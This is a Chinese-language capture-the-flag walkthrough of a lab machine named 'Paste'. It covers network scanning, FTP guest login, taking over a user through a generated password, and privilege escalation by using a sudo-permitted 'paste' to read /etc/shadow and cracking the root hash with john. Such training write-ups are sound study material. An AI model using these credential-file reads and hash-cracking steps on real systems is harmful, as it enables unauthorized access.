信息搜集

```
┌──(root㉿kali)-[~/Desktop/tmp]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c: 29: ff: 66:80, IPv4: 192.168.31.129
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.31.1    0a: 00:27:00:00:10       (Unknown: locally administered)
192.168.31.2    08:00:27:4b: f3:98       PCS Systemtechnik GmbH
192.168.31.254  08:00:27:8a: af: 88       PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.405 seconds (106.44 hosts/sec). 3 responded

┌──(root㉿kali)-[~/Desktop/tmp]
└─# nmap 192.168.31.254 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-17 23:30 EDT
Nmap scan report for 192.168.31.254
Host is up (0.0020s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:8A: AF: 88 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 4.86 seconds
```

web 页面是生成一个随机的 8 位数，然后放进 password.log 中，肯定和密码有关系。

FTP

```
┌──(root㉿kali)-[~/Desktop/tmp]
└─# ftp anonymous@192.168.31.254
Connected to 192.168.31.254.
220 220 Welcome to FTP Service Please use guest: guest to login
```

```
331 Please specify the password.
Password:
```

ftp 没有匿名登陆，但是连接信息里告诉了 guest 的密码是 guest，一开始没有看到卡了挺长时间，😔。

提权user

还有一个 film 用户，猜测 web 的 8 位数字就是 film 的密码，直接 su 提权

```
guest@Paste:/var/www/html$ cat password.log
38813456
film@Paste:/var/www/html$
```

他是怎么实现的呢？上传一个 pspy 检测一下看看

```
film@Paste:~$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░
                   ░           ░ ░
                               ░ ░

Config: Printing events (colored = true): processes = true | file-system-events = false ||| Scanni
Draining file system events due to startup...
done
。。。
```

然后在 web 页面生成一个密码，就能检测到

```
2025/07/17 23:35:44 CMD: UID = 0     PID = 1      | /sbin/init
2025/07/17 23:36:03 CMD: UID = 0     PID = 590    | python3 /usr/local/bin/password_monitor.py
2025/07/17 23:36:03 CMD: UID = 0     PID = 591    | sh -c sudo /usr/local/bin/change
2025/07/17 23:36:03 CMD: UID = 0     PID = 592    | sudo /usr/local/bin/change
2025/07/17 23:36:03 CMD: UID = 0     PID = 593    | /usr/local/bin/change
2025/07/17 23:36:04 CMD: UID = 0     PID = 595    | python3 /usr/local/bin/password_monitor.py
2025/07/17 23:36:04 CMD: UID = 0     PID = 596    | sh -c sudo /usr/local/bin/change
2025/07/17 23:36:04 CMD: UID = 0     PID = 597    | sudo /usr/local/bin/change
2025/07/17 23:36:04 CMD: UID = 0     PID = 598    | /usr/local/bin/change
```

执行了一个 `python3 /usr/local/bin/password_monitor.py` 还有 `sudo /usr/local/bin/change`

```
film@Paste:~$ cat /usr/local/bin/password_monitor.py
#!/usr/bin/env python3
import os
import pyinotify
import sys
import logging
from time import sleep


logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
handlers=[
logging.FileHandler('/var/log/password_monitor.log'),
logging.StreamHandler(sys.stdout)
]
)
logger = logging.getLogger('PasswordMonitor')


PASSWORD_FILE = '/var/www/html/password.log'
CHANGE_PROGRAM = '/usr/local/bin/change'
```

```
class EventHandler(pyinotify.ProcessEvent):
def process_IN_MODIFY(self, event):
if event.pathname == PASSWORD_FILE:
logger.info(f"Detected modification to {PASSWORD_FILE}")
try:

sleep(0.5)
os.system(f"sudo {CHANGE_PROGRAM}")
logger.info("Successfully executed change program")
except Exception as e:
logger.error(f"Error executing change program: {str(e)}")

def main():

if not os.path.exists(PASSWORD_FILE):
open(PASSWORD_FILE, 'w').close()
os.chmod(PASSWORD_FILE, 0o600)
logger.info(f"Created password file at {PASSWORD_FILE}")

logger.info("Starting password monitor service")


wm = pyinotify.WatchManager()
mask = pyinotify.IN_MODIFY
handler = EventHandler()
notifier = pyinotify.Notifier(wm, handler)


wm.add_watch(PASSWORD_FILE, mask, rec=False)


notifier.loop()

if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
logger.info("Service stopped by user")
except Exception as e:
logger.critical(f"Fatal error: {str(e)}")
```

change可以用ida反编译看看。

就是 `password_monitor.py` 来监控password.log的变化，如果有变化就会执行 `change` ,change里改变的是film的密码。

提权root

```
film@Paste:~$ sudo -l
Matching Defaults entries for film on Paste:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sb

User film may run the following commands on Paste:
    (ALL) NOPASSWD: /usr/bin/paste
```

sudo -l可以看到能以root身份执行paste，可以直接读取root.txt，想要拿到root的shell的话就要读取shadow文件，然后爆破

```
film@Paste:~$ sudo /usr/bin/paste /etc/shadow
root:$6$jJev7FIbmMhP8iVA$p1.bGLOCx5BsAzgCrbp/FgF56k6HXP0QFb5pCaZzAJ1N7qOhZjTJymyk9CMRbc8JGy5DXFl/E
```

```
┌──(root㉿kali)-[~/Desktop/tmp/tmp]
└─# john 1 --show
root:sexybitch!:20282:0:99999:7:::

1 password hash cracked, 0 left
```

root的密码是 `sexybitch!`